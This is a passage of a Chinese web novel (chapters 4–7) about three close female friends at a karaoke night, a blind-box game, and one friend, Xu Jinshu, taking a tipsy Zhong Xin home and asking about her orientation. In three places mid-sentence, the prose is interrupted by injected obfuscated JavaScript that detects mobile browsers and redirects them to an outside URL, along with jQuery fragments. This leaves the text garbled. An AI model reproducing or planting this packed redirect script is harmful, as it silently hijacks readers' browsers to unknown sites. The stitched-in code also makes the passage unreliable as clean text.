柔软馨香塞了满怀，钟心的眼睛瞪得溜圆，下意识地屏住呼吸。 最后一句歌词，李施情不对着话筒唱，她对着钟心唱，吴侬软语，气息轻轻地拂过皮肤。 钟心不知道手该往哪里放，哪里都是惊人的柔软。也不知道眼睛该往哪里看，哪里都美不胜收。 在绝对的魅力压制前，她无措，羞涩，变成一只只会眼睛里冒着崇拜的呆瓜。 嘴唇被凉凉地触碰，钟心心尖猛颤。 李施情捏着那樱桃梗，不满地嗔怪她：“张嘴呀。” 与此同时，怀里的身体晃了一下，好像要向后倒去。 后面是大理石的坚硬桌子和散乱的酒瓶，钟心不会让自己的好闺蜜遭遇那样的危险。 她迅速抬手，终于搂住了李施情的腰。 两个身体紧密地契合，李施情的腰那么细，不盈一握，这触感实在罕见。 钟心震惊地张开了嘴巴，甜冽的沁着酒香的樱桃趁机滑入了她的口腔。 香气，灌入了身体。 李施情笑着，在她耳边轻声道：“心心，我现在的技术怎么样？” 4. 第 4 章 什么技术？ 技术什么？ 钟心的脑袋里一片空白但又五彩斑斓，嘴巴里的甜和鼻息里的香，掌心里的软和视线里的美……齐齐地冲击着她的感官，她的身体，让她的脑袋晕沉，仿佛荡在海里。 只有一个清晰的声音叫嚣着： 她要什么？她到底要什么？？？她要我的命吗！给她！！！ 牙关咬紧，酒香的樱桃汁水四溢，钟心的喉咙滑动，“咕咚”，酸，甜，清爽，缭绕…… 李施情的眼睛就是那片让人荡漾的海，此刻全神贯注地盯着钟心，睫毛轻眨，光芒流转，等待她的回答。 钟心彻底把那颗樱桃咽了下去，又清了清嗓子，这才能拉回点思绪，发出声音。 “绝了。”她道。 她知道李施情问的是什么技术了，因为之前有段时间，她常常帮着李施情去练习这门技术。 就是展现魅力，声形体表，撩人，吸引力，是作为演员的一项必修课。 那个时候的李施情还总是羞涩，现在，许久没试，已经进化到这个级别了。 “咳咳，真绝了。”钟心机械地重复，转过头，避开了一点李施情直勾勾的视线，去看电视屏幕。 屏幕里的歌已经跳到了下一首，无人去唱，只有背景音乐在咿咿呀呀地响着。 “都搞得我有些不好意思了。” 钟心坦诚地说完这句话，感觉自己的脸颊火辣辣的。 “这才到哪儿啊。”怀里的人软软地接道，并不打算结束的样子，语调里藏着丝兴奋，“你要不要试试更刺激的？” 钟心：“！！！！” 钟心的脖子也热起来了，房间里的冷气不太有用，十月中旬了，天气竟然还是这么热。 她没有拒绝李施情的理由，好不容易见次面，在玩闹之间帮助朋友检测工作上的进步，是她应该做的。 钟心：“你……” 刚说出一个字，音响里突然传出了一道低沉暗哑的声线，截断了她的话。 “钟心。” 她被徐锦书连名带姓地喊，那语调不怒自威，明明没什么起伏，却仿佛一把冷剑一般劈开了这昏暗光线里的旖旎氛围，让钟心瞬间挺直了脊背。 “啊……”钟心张着嘴，偏过视线，终于看到了被李施情完全遮挡住的徐锦书。 自从进了包间，就没有碰过一下话筒的徐锦书，这会握着话筒，身子微倾，彩球的灯光从她的面上滑过，落进她的眼睛里，变成了遥远寂寥的寒星。 钟心的脸一下子更烫了，她好像光顾着玩，忽略她另一个好朋友了。 徐锦书本就不喜欢这样的场合，能来，纯粹是因为她们之间的友情，就算她不唱歌，钟心也应该分出注意力去顾及她的心情。 “诶，在，我在！”钟心加大了音量，立马回应道。 徐锦书的声音还是从话筒里传出的：“过来。” “诶，好！”钟心现在不像是在KTV了，像是在总裁办公室里，处处积极，句句回应。 怀里柔软的身体被钟心揽着背温柔地放下，钟心冲李施情眨眨眼，小声道：“待会哦～” 李施情嘴角的笑没有消失，她轻柔地“嗯”了一声，眼波流转，从钟心的面上滑过，然后也落在了徐锦书的身上。 徐锦书没什么表情，她只看着钟心，等她过来。 钟心快速地蹦到了她的大总裁面前，也不坐下，就近便在徐锦书的面前蹲下身，直视着她的目光，真诚而坦然地询问她的需求：“老徐，怎么啦？” 徐锦书将话筒拿开了，俯身巡视着面前这张脸，从眉间眼角，到脸颊嘴唇。 “你喝多了。”她道，这是不容反驳的检查结果。 “啊。”钟心有些心虚。 她抬起双手去触碰自己的脸颊，这会果然烫得惊人，再加上方才那头晕的效果，徐锦书说的也没错。 “是有点。”钟心小心承认，“开心嘛，主要是今晚喝得有点杂……” “嗯，没事。”徐锦书的目光虽然让人紧张，但说出的话却是温和的宽慰，她抬手在钟心的脑袋上揉了下，“我没喝，会送你回家。” 钟心一下子笑起来，徐锦书的掌心宽阔，指尖有力，被这样突然揉一下，神经上仿佛有酥麻的电流滑过。 她像只动物一样，舒服地眯了眯眼。 “好嘛，谢谢老徐。”嘴里的话也说得柔软，“有你在好安心～” 徐锦书突然掏了个东西出来，道：“张嘴。” 钟心：“？？？？” 怎么这么突然？ 怎么一个两个都让她张嘴？ 徐锦书甩了甩手里的盒子，药片的碰撞声哗啦响起，拇指上推，盒口被打开，并递到了钟心的唇边。 钟心：哎呦喂，可别掉地上去了。 脑袋里这么想着，嘴巴已经柔顺地凑了上去，徐锦书的指尖轻摇了一下，一粒小药片掉进了钟心的嘴里。 一点薄荷的透凉，独属于药品的粉质感苦味。 “诶……”钟心皱巴起了脸，发出不悦的声响。 徐锦书开了瓶水，再次递过来。 钟心就水吞服。 咽下去了，苦味都消失了，这才抬起头，问徐锦书：“什么东西呀？” 徐锦书的唇角轻轻扬起，一点笑意，出现在她的眼睛里：“不知道是什么就敢吃？” 钟心理直气壮：“你给的啊，你还能害我不成？” 徐锦书那像冰冷金属一般的身体形态松动，不再逼视着钟心，她松了松卷起的衬衫袖口：“嗯，不害你。好东西，解酒，护肝。” “哇！你用的那肯定是好东西。”钟心来了兴致，去拿她手里的盒子。 徐锦书一点藏私的动作都没有，顺手便扔到了她掌心里。 “但还是少喝好。”她警告道。 “好好好，不喝啦。” 钟心轻松答应，她研究手里的盒子，起身屁股一挪，便又到了李施情跟前：“情情，你也来一粒，你明天还有通告呢。” 徐锦书淡漠地望着。 李施情的目光与她相撞，灿烂地笑起来：“徐总，给吃吗？” 钟心：“唉这说的什么话，当然给啊，自己姐妹。别说一粒药了，我要是敢说看上老徐什么东西，她隔天就能给我送家门口……” 李施情捻了一粒药进嘴里，捞起旁边的酒杯，送服。 钟心：“……诶你这真是，用酒喝解酒药，好叛逆！” 李施情弯弯眼睛：“我上次代的那个包，挺适合你的，品牌送了好多，挑挑？” 钟心：“这多不好意思啊。” 李施情：“自己姐妹，有什么不好意思的。” “嘿嘿。”钟心只能偷偷地享了这个福。 不过这次，她挑完了包，没有一直和李施情黏在一起。手里还握着徐锦书的药呢，她要两个人都照顾到。 于是一长圈的沙发，徐锦书坐在一处不动，李施情唱歌经常挪动，钟心便随着她，随时调整自己的位置。 让自己尽量坐在两人中间。 这样，便可以左看一眼，右看一眼。东说一句，西说一句。谁都不冷落，谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453992|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不怠慢。 钟心做这件事很有经验，钟心玩得很开心。 她的两个闺蜜都是极其优秀的女孩，她们忙于事业，很少有这样放松的私人时刻。 而钟心自认为，自己的优点就在于，她可以做她们团体中的粘合剂。她不争不抢，没有什么多余的目的，她只想为好朋友们提供一个安心的港湾。 聚会快要结束时，钟心从背了一路的背包中掏出了自己的礼物。 很简单，很常见，不是什么贵重的东西。 一套happy girl的系列盲盒，钟心觉得很可爱，里面有三个造型接近于她们三个的形象，她找了明盒的渠道，购买了这三个。 但现在，外包装是封闭的，是一模一样的。 钟心要和徐锦书李施情一起抽，看看谁能抽中谁。 “不管最后是谁拿到谁，都很有趣啊对不对！！！”钟心快乐地喊着，“下次聚会的时候，都带上，我们三个就又团聚了！” 桌上被清理出了一大块，钟心把三个盲盒整整齐齐地摆上去，为了绝对的公平公正，她做了多次的调换，并表明：“我最后一个抽。” 李施情对这种游戏很有兴趣，她俯身盯着这三个盲盒，领口下落，露出漂亮的锁骨和一枚亮闪闪的钻石项链。 “我要这个。” 虽然观察得仔细，但下手十分迅速果断。 李施情拿了最中间的那个，快速抱进自己怀里：“这个，我的。” “你的你的。”钟心站在一旁傻乐呵，对于闺蜜喜欢她这个游戏，感到无比开心。 接下来是徐锦书，钟心调转脑袋看着她。 她最怕的就是徐锦书对她这种幼稚的小游戏感到无聊和厌烦。 徐锦书没看盲盒，徐锦书在看她。 两人目光相对，徐锦书问她：“你想要哪一个？” 钟心赶忙摆手：“说了你们先选了，剩下的那个是我的。” 徐锦书：“那你觉得我该拿哪一个？” 钟心哈哈直笑：“老徐你是有选择困难症了吗？不要问我啊，这么大个总裁，自己做决定。” 徐锦书抿唇，随着钟心的笑容勾了勾唇角。 她伸手，身高的优势尽显，身体都没动，便随手捞走了一个。 “嘿嘿。”钟心抱了最后一个进怀里，很兴奋，“你们要现在拆开看吗？” “拆。” 李施情的手比嘴快，她已经撕开了盒子的封口，“咔咔”两声，将里面的娃娃掏了出来。 是一个坐在电脑前奋力敲键盘的双马尾小女孩，穿着颜色鲜亮的T恤短裙，脑袋上冒着的气泡里塞满了神奇想法。 “啊！！！！”钟心尖叫起来，她指着李施情手中的盲盒，“这个是我！这个是我！” 李施情的眼睛一下子亮了起来，抽中大奖的惊喜绽放在她的脸颊。 她的语调愉快地拔高：“是吗！是你吗！哇！！！心心！我就知道是你！！！” “啊啊啊啊……”钟心跑过去和她拥抱，“缘分呐，缘分！” 她们像两只兔子一样，凑在了一块，毫无章法地蹦来蹦去。 一旁沙发上的徐锦书，看着这场面，笑意全无。 她的眉头压了下来，像一片阴云罩住了眼睛。 钟心转头冲她喊：“老徐，老徐！你快也拆拆！看看是谁！” 李施情也调转了视线，那目光，是明晃晃的得意和逗弄：“是啊，看看你是不是抽中了我……” 她顿了顿，笑得可大声：“或者你自己，哈哈哈哈哈哈哈……” 5. 第 5 章 灯光昏暗的包厢里，盲盒的纸质外壳被指尖施压，挤出凹陷。 徐锦书没说话，她在暗沉沉的阴影里坐着，不融入这欢乐的氛围，真成了一尊格格不入的雕像。 李施情笑得开心，她十分张扬，孔雀开屏一般将手搭在钟心的肩上。那只抽出来的盲盒，被她握在另一只手的掌心里，捧在面前，仔细端详。 赤｜裸裸地炫耀自己到手的玩具。 徐锦书的双眼眨动，静静看着。 钟心随着李施情乐完，望见徐锦书的神色，脸上灿烂的笑意立马收敛了一大半，她往前一步，从李施情的怀里轻巧地出来，问道：“老徐，你现在不想拆吗？” “嗯。”徐锦书淡淡应了一声，转开了话题，“时间是不是到了，李小姐的司机，好像约的就是现在。” “啊……”钟心惊醒，立马掏出手机看了眼，“情情，是诶，你司机是不是已经来接你了？” 李施情没动，只道：“到了就等会呗，差这一点时间。” “不不不，你的时间是很紧急的。明天一早要赶飞机呢，今晚要保证睡眠质量……”钟心念叨着，抬脚就往门外走，“我去看一眼啊，他们会所说的vip通道，是不是真没人，你可别被拍到了，说不清的……” 包厢的门被推开，又关上。 钟心的声音和身影消失在门外，包厢里还有音乐声在继续，氛围却突然变得寂静而沉闷。 李施情露出了无聊的神情，她手里捏着那只代表着钟心的娃娃，向前两步，来到了徐锦书面前。 “不是说好了不吃醋吗？现在这是闹哪样呢？连盲盒都不拆。” 徐锦书抬眼看她，语气淡得像是无色无味的空气：“吃醋？我没有说过这个词。” “好啦好啦，说的是不嫌我们冷落你。怎么这么严谨呢。”李施情的身体往后一陷，坐进了沙发里。 两人之间隔着半个身位，李施情偏头看着徐锦书，视线落在她的眉眼上：“太严谨了就会无趣，你也就比我们大了三岁，一点年轻人朝气蓬勃活泼开朗的劲都没有，这样，心心也会觉得紧张啊，是你的朋友，又不是你的下属……” 徐锦书：“钟心不会。” 不容辩驳的陈述句。 李施情的唇瓣抿起，徐锦书补充道：“我们很熟了，她不会紧张。” “是啊。”李施情笑了，“你和她很熟，我和她也很熟。其实就咱俩不熟。” 她向前倾身，靠近徐锦书：“人和人熟起来很简单，你想要我这个盲盒吧，代表心心的，很可爱。” 徐锦书眼睫下垂，望着近在咫尺的这张脸，不否认。 李施情：“我可以把这个给你，只要你答应我的要求。” 徐锦书没什么表情。 李施情脸上的笑容突然加大，称得上灿烂：“很简单的，只要你求我一下，说句‘拜托啦，施情～’，我就给你。” 徐锦书闭了闭眼，很显然有被无语到。 李施情伸长了脖子，那张脸在她的面前乱晃，就是要欣赏她此刻的表情。 “施情喊不出来你就喊我李施情，连这个名字都不行，你就喊我李小姐呗。刚才不是张口就催李小姐的司机。你说，求你啦，李小姐，把我喜欢的娃娃给我嘛～李小姐很大度的，李小姐可不是小屁孩，非得和好朋友抢玩具，李小姐会给你的～小徐总～～” 徐锦书：“……” 徐锦书往旁边倾了倾身子，沉默不言。 李施情笑得花枝乱颤。 包厢的门又被推开了，钟心一进房间看到这两人坐在一起，很是惊讶和欣喜。 “聊什么呢？”她问，“这么开心？” 李施情站起了身，她抽到的那只娃娃还是牢牢地攥在自己的掌心里：“没什么，刚才企图和徐总进行一场交易……刚聊了没几句。” 钟心：“哇，我早觉得你们可以进行一些商业合作的！老徐那有的是公司，情儿那有的是明星，谈谈商务啊代言啊之类的岂不是很方便……” 李施情挑挑眉，回到钟心身边挽住了她的手臂：“嗯咯。” 钟心：“反正你们多聊，总没错的。” 徐锦书抬眼：“车？” 钟心：“哦哦。车已经到了。情儿我刚才检查了一遍，放心吧，很安全。你把帽子和墨镜都戴上。” “好。”李施情顺遂地应下，她张开双手，再次拥抱钟心，“谢谢宝宝，宝宝再见。” 钟心一下子有些伤感惆怅：“呜呜呜呜情情宝，下次再见不知道什么时候了……” 李施情：“我明天拍的那个地方有一个巨大的吊桥，到时候和你打视频。” 钟心：“好好好！那要注意安全哦！” 两人你来我往，依依不舍。 足足又磨蹭了快十分钟，才往外走去。 钟心将包裹严实的李施情送上了车，挥着手，等着车转过弯看不到了，才放下手来。 她伫立在原地，夜风吹过，凉丝丝的。月亮挂在半空中，已经不如前几天中秋节时那样圆。 空气里有桂花的香味，一件宽大的西装外套罩在了她的肩上，暖融融地抵掉了所有的凉风。 钟心转头，看向不知道什么时候来到她身边的徐锦书。 “你怎么出来了？不是说好了我去停车场吗？” 徐锦书低头望着她：“我不是大明星，不用躲着人。服务生待会会把车开出来。” “哦。”钟心吸了吸鼻子，笑得有些不好意思，“我都忘了人家有泊车服务了。” “冷？”徐锦书的视线凝聚在她的鼻尖上，又向下滑去，看她空荡荡的腰线和半裙下裸｜露着的腿。 “不冷不冷。”钟心拽了拽身上的外套，徐锦书的西装手感可真好啊，让人总是摸了还想摸。 “啊，”她又一瞬间惊醒，“你里面也就穿了件衬衫，你才冷吧，你……” 徐锦书的衬衫是柔软而单薄的，一点宽松的放量被风一吹，纱绸一般荡漾。 可这荡漾的柔白色，覆在坚实的躯体上，刀锋一般的棱角，紧致有力的线条。 徐锦书伸手，牵住了钟心的掌心。 她的手，比钟心的大很多，可以将她全面地覆盖包裹。手指施加着紧密的压力，柔软的掌心贴合。 很热。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453993|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>徐锦书的手很热。 钟心垂眸去看，徐锦书的声音沉沉地响在她的头顶：“你说过的，一个人冷不冷，摸手就知道了。” 掌心被攥了一下。 徐锦书：“所以，我不冷。” 钟心深吸了口气，香气和热气，一起冲进她的身体里。 “嗯。”她小声应道。徐锦书的确不冷，徐锦书站在她身边，把那点秋日离别的寂寥都给挤散了。 “你累不累？”钟心换了个问题，抬头时，撞进徐锦书柔和的目光里。 徐锦书摇头：“不累。” 钟心：“我说的不仅仅是今天，这段时间，累不累？” 徐锦书：“不累。” 钟心：“国庆和中秋刚过去呢，第四季度又开始了，肯定有处理不完的工作吧？我前天晚上八点给你发的消息，你凌晨十二点半才给我回的。” 徐锦书：“有应酬。” 钟心歪了歪身子，靠在了徐锦书的胳膊上：“应酬就很累啊，工作上的应酬最烦人了。就像我们那公司，明明只是很简单的设计的活，非得和甲方这样吃饭，那样吃饭……吃饭也没聊多少正事啊，我国庆值班的时候跟了一次，啧，有的人真的恶臭……” 徐锦书从小就话少，所以她们在一起的时候，总是钟心在絮絮叨叨地说话。 好在，徐锦书不嫌钟心话多，说什么她都听着。问她问题，也会给钟心最真实的回答。 钟心和她待在一起的时候，很踏实。 她们是认识了很多年，知根知底的好朋友。 车开过来了，钟心十分有眼色地要继续坐副驾驶。 徐锦书拦住了她，道：“坐后面吧。” 钟心迷蒙地眨巴着眼睛：“嗯？” 徐锦书：“你困了，坐后面睡一会。” 钟心笑起来：“可是那样，不就是把你当司机了吗？” 徐锦书抓着她的胳膊，打开了后车门。 动作说不上太温柔，甚至有点不容拒绝的强势。 钟心被塞在了宽阔舒适的后座上，徐锦书倾身帮她去系安全带。 车内空间大，但在这一个位置里挤着，也会逼仄起来。 徐锦书的胳膊不小心擦过了钟心的胸口，钟心在呼吸流转中，嗅到了自己的一点酒气。 屏气凝神，钟心不想让徐锦书闻到这不好的味道。 徐锦书却偏偏在这个时候转了头。 如此近的距离，她望着钟心。钟心能看到的，只有她放大的五官。 那自带侵略性的眼睛，那高挺的鼻梁，那浓而黑的眼睫，不眨动，紧盯着她。 “给你当司机有什么关系。”徐锦书道。这句话，说得不容置疑，天经地义。 “好好休息一会儿，到家了有问题要问你。” 刚刚展现了一点低姿态，又立马下达了徐总的专属任务。 “嗯～” 钟心笑起来，声音闷在口腔里，亮晶晶的唇瓣，微微地撅了撅。 撒娇一般。 徐锦书关上了车门，眼神幽暗。 在冷风中静伫一秒，这才抬腿，向驾驶位走去。 6. 第 6 章 车窗外的霓虹变成了流动的光影，在钟心的视线里轻柔地滑过。 车内温度适宜，安静得让人可以听见自己的呼吸声，进进出出，逐渐平稳而绵长。 在徐锦书的车里，钟心可以放心地睡去。 仰着脑袋，意识晃悠悠地模糊掉，进入一片安详的混沌空间。 不知过了多久，再睁眼，是因为紧贴着身体的一阵衣料摩擦。 不属于自身的温暖和香味包裹了她，不仅仅是靠近，也不仅仅是牵手。宽大的掌心揽住了她的背和腿弯，有力的手臂将她整个人都压向更温暖的热源。 等待她的是柔软的皮肤和坚硬的骨头，像铁铸的铺着软毯的牢笼。 钟心的眼睛酸涩，脑袋也有些晕。 尽管徐锦书将她从车里抱出来的动作很稳固，钟心还是在脱离地心引力的上升中，抬手抓住了最近处的衣料。 那是徐锦书的衬衫领口，本就开着纽扣，现在被钟心扯得更大了些。 她攥得紧，指节屈起的棱角抵着徐锦书胸口的皮肤，随着走动，轻轻摩擦。 “唔……”嗓子睡得有些哑，开口的语气词闷在喉咙里，像动物的呜咽。 “到了……唔。” 说的也是没什么意义的废话。 “嗯。”徐锦书却还是应声道。 钟心的视线随着她的走动晃动，白色的，灰色的，橘色的光影一阵又一阵。 “好快哦。” 徐锦书：“路程四十分钟，停车后睡了二十分钟。” “啊……”大脑艰难地运转了一会，熟悉的楼道进入了视野，钟心勉强算出，“那不是……半夜了……” 徐锦书：“嗯。” 钟心：“走轻点，楼下，有小孩，小孩睡觉，不能闹……” 徐锦书大概是又一次答应了她这无厘头的请求，脚步变慢了，动作缓了，只是搂着她的手臂收紧了，将她更深地压入自己的胸口。 钟心：“唔，软。” 钟心：“那你，一个人，回去，不安全……” 一点清浅的笑意，从胸口的震动，传递到钟心的耳朵里。 “那我睡你这里？” 难得的问句。 “可以。”钟心爽快点头，又思索起来，“如果你明天上班不远的话……” 说到上班，她的情绪有些激动：“明天，周六，为什么我们都要上班，岂有此理！如果我们都双休，就可以继续，一起玩，玩通宵，开间房，一起睡，嘿嘿……” 想得挺美的，脸上露出了开心的笑容。 脸颊酡红，眼睛里有迷糊的水光，是喝多了酒，终于酒劲上头的症状。 徐锦书垂眸看着。 到了家门口，她动作娴熟地从钟心的背包侧兜里摸出了钥匙。 “搂好了。”她道。 钟心心领神会，伸出双手，将她抱得紧紧的。 徐锦书腾出了一只手，开门，进屋，关门，开灯…… 钟心的呼吸贴着她的脖颈，像潮热的雨季：“我可以，下来了，到了……” 徐锦书紧紧地落下一个呼吸，胸口起伏。 她将手里的钥匙扔到了玄关处的柜子上，又将钟心的背包扯过来放下，最后，她抬手，轻易地就扒了钟心的鞋子，左一只，右一只…… 完全没有将人放下的意思。 就这样完成了回家的流程，然后径直地往卧室走去。 钟心租住的一室一厅的小房子，屋内装修不新不旧，离上班的地方不近不远，是在钟心的经济范围内，能租到的最好的房子。 她将这小小的屋子用自己喜欢的东西填满，阳台上有花，墙上有照片和海报，床上的四件套是色彩明亮的卡通小羊。 从徐锦书的怀抱，落入舒适又安心的被窝里。 熟悉的质感和香味让钟心长叹出一口气，一翻身，便将被子抱了个满怀。 “不想洗澡了，困……” 嘴巴里这么嘟囔着，眼睛却忽然睁得又大又圆，黑葡萄一般，盯着床边的人。 “老徐你，要问什么？” 喝得多也不影响记性好。 朋友说的话，她一向放在心上。 徐锦书在床边站着，不坐下，也不俯身。 她本来就高，现在从低处仰望，更加像一尊完美的雕像，轮廓清晰，线条凌厉，投下黑沉沉的阴影。 钟心抬手，也就只能碰到她的膝盖：“说嘛，趁我有些醉，酒后吐真言……其实我也有问题，酒壮怂人胆，你不问，我就先问……” 倒是将自己的处境分析得清楚。 徐锦书垂首看着，道：“你先问。” “我就知道～”钟心的腿在被子外，胡乱拧了拧，“你有什么话都要最后说，等我说完了，你说的还是不是之前的就不一定了……” “嗯。”徐锦书轻松应下。 “嗷嗷嗷嗷讨厌……”钟心乱打滚，干脆往前双手抓住了徐锦书的裤管，将她本就不易打皱的裤子，扯得笔直，“但是我已经说了，你就不会先说了，你这个人，呜呜呜，想要套你的真心话不能有一点失误……” 徐锦书纹丝不动，任她闹。 钟心喊完了一阵，猛然收声，抬头看她：“锦书，你是不是不喜欢我送的礼物？” 一双明亮的小狗般的眼睛，此刻仿佛醉意全无。 被这样的眼睛望着，让人很难说出假话。 徐锦书有短暂的停顿：“不是。” 钟心：“那你是不是不喜欢施情？” 徐锦书：“不是。” 钟心拽着裤子的手使了力，把自己的上半身拉起来。 她距离徐锦书的距离近了些，那双眼睛里盛着的情意，便也更显得纯真诚挚了。 “那是因为没有抽到想要的，所以才不拆的吗？” 终于问到了点上。 徐锦书低了头，开始用极其深入的目光，紧盯着钟心，仿佛要观察她眼睛里即将到来的每一丝变化。 “对，”她道，并进行了双重的肯定，“是这样。” 钟心愣住。一下子抿起了嘴巴。 她的思绪来回流转，最终定格在脸上的，是一个扭捏的，十分不好意思的表情。 “你……”唇瓣再被齿尖放出来的时候，沾着水光，“也想抽到我呀？” 徐锦书回得利落：“嗯。” “嘿嘿嘿……” 钟心的笑容一下子扩大了很多，甚至有些无法自抑。 她想大笑，又觉得自己这样笑出声实在不太好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453994|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是干脆抱住了徐锦书的腿，将身体靠近，把自己得意洋洋的脸藏了起来。 “你们都这么喜欢我呀，嘿嘿……我也知道自己招人喜欢啦，但这是不是有些太过了呢，嘿嘿嘿……我们三个人是一个团体啦，要端水，要公平啦……” 徐锦书没应声。 钟心的羞赧更甚，她身子一翻，又离开了徐锦书的腿。 那双自打下了车就没落地的脚，虚头巴脑地踩在了地上，拖鞋都不穿，就向外走去：“我去看看我抽到的是谁……” 醉酒的人动线太难以预测了，徐锦书转身，就看到钟心已经窜到了房门口。 徐锦书跟上去，看着钟心晃悠着把自己扔到了玄关处，捞过包，一把就翻出了那个盲盒。 “滋啦”一声，撕开了。 钟心取出里面的娃娃，抬手对着灯光，挤了挤眼睛，仔细端详。 那是一个穿着笔挺西装的女孩，正站在台上自信满满地发表演讲。 她面前话筒的数量显示着她的重要身份，文件被她拿在手里，像胜利的旗帜。 钟心大喊起来：“锦书！是你！是你是你是你！！！” 她转头望向徐锦书，眼睛瞪得大，嘴巴也张得大，那开心的样子，毫不掩饰，绝不作伪。 在客厅暗沉的光里，徐锦书露出了笑容。 她问：“抽到我，很开心？” 多么毋庸置疑的答案啊，钟心大大地点头，用力的程度仿佛要把头点掉。 “当然开心！超级开心！！！你看她，好漂亮！好可爱！！！” 徐锦书并不觉得一个工艺品有什么可爱。 什么都不会有现在她眼睛里看到的活生生的人可爱。 “你喜欢就好。”徐锦书望着钟心的眼睛。 “喜欢！”钟心再一次给她确切的回答。 徐锦书的笑容加深。 钟心忽而又皱起了眉头：“那你的肯定就是施情了，你要是实在是……我可以和你交换。” 徐锦书十分果决：“不换。” 钟心：“啊……” 徐锦书弯腰，再一次轻易地将钟心打横抱起：“地上凉。” 柔软的女孩的身体，在她的怀里，就像一只任取任求的猫咪。 徐锦书控制不住自己使了力，指尖隔着一层布料，陷入皮肤温热的质感。 钟心还要再说话，无非是问她的想法。 徐锦书噙着一抹笑意，给她想要的答案：“既然参加了游戏，就要公平公正。” 钟心的脑袋又开始使劲点：“对对对。” 钟心的脑袋还没忘记最重要的事：“我问完了，你的问题呢你的问题呢？变没变？” 徐锦书的眉梢轻轻挑了挑，她抱着怀里的人，再一次进了卧室。 柔软的床前，放下人需要俯身。 俯身时可以无限靠近，衣服擦着皮肤，瞳孔里只映着对方的模样。 就在这个时刻，徐锦书用没什么起伏的语调，抛出了她的问题。 “你今天说想要谈恋爱，性别呢？有没有限制？” 她如此平静，像在讨论一个最常见的问题，像在询问钟心晚饭吃了什么。 钟心却被这问题震惊得瞪大了眼睛，一时间，呼吸都暂停了。 7. 第 7 章 在醉酒的昏沉和兴奋里，人总是会觉得自己格外清醒。 就像现在的钟心，面对这样一个直白而又惊爆的问题。她的大脑快速运转，浮现出了很多零零碎碎的画面。 比如她最爱的动漫，是一群雌性小马，每天快快乐乐地聚集在一起，用友谊魔法打败一切的挫折和磨难。 比如初中时，几乎全班的女生都在为一个新晋男团疯狂，而她偷偷地在磕一对国外电影的百合cp。 比如到了大学，舍友向她分享自己珍藏的小黄/片，她打开十秒钟，吓得扔掉了手机。 她的短视频平台里，经常刷到的，是各种各样的美女。 她的交往圈子，非必要的情况下，也全是女性。 长这么大，也不是没有人向她表白，可那些男生的脸，已经模糊的像一团空气，无法给她留下任何印象。 倒是班上有一对女同情侣，钟心总是远远地望着，觉得她们牵着手的样子很幸福。 钟心还没有谈过任何一场恋爱。甚至还没有进行过一场轰轰烈烈的暗恋。 可现在被问这样的问题，那个答案很清晰。 ——即使要试，她也想要先和女生试试。 “呜……”钟心很是害羞，因为现在俯身望着她提出这个问题的，也是女生。 她脑袋里的某条神经元，在此刻碰撞在一起。忽然之间便从旁观者的角度意识到，她的好朋友，她的闺蜜们，都是极其优秀，并且极有魅力的女生。 她们在她可欣赏的范围内。 是性取向的那种可欣赏。 或许自己那么在意朋友，也有这方面的因素。就像一个不自觉的坏蛋松鼠，将香喷喷的栗子堆满了自己的家中。 钟心抬手捂住了自己的嘴巴。 徐锦书望着她的眼睛像暗夜里的海，深不可测，却又可以包容一切，吞没一切。 钟心想到了今天晚上，就在那个打着奇幻灯光的包间里，李施情随着音乐摆动的身姿。 杨柳一般轻抚，水波一般荡漾。 而后柔软地扑陷进她的怀里，香气，质感，不盈一握的腰，嘴巴里的樱桃甜味。 “咕咚”，钟心的喉咙忍不住滑动。 她突然觉得口渴，想喝一大杯清凉的水。 眼睛里走神的虚无缥缈，被徐锦书精准地捕捉到。 “需要思考很久吗？”她问，语气不再像之前那样平静，尾调有些催，有些赶，“很难判断吗？” 钟心被拉回注意力，手还捂着嘴巴，于是眼睛亮晶晶的摇了摇头。 徐锦书的眉头轻轻皱起，身体也拉开了距离：“这是什么意思呢？不知道答案？不想回答？” 一下子被抛来这么多问题，还是徐大总裁抛的。钟心感受到了一些“必须正确全面回答”的压力。 她先把手拿下来，然后小声地提出自己的请求：“我渴……” 徐锦书顿了顿，很快直起身体，站起了身。 面对钟心这样的小要求，她没有丝毫的犹豫：“好，我去给你拿。” 黑沉沉罩着的身影离开了，钟心长长呼出一口气。 她快速地揉了揉自己的脑袋，又拍了拍自己的脸颊，让自己更为清醒一些，来整理话语。 徐锦书回来的速度不算太快，给足了钟心调整的时间。 温度适宜的水杯被递到了手里，钟心坐起身，一口气干了大半。 现在，她再看着徐锦书，那些难言的羞涩降低了很多。 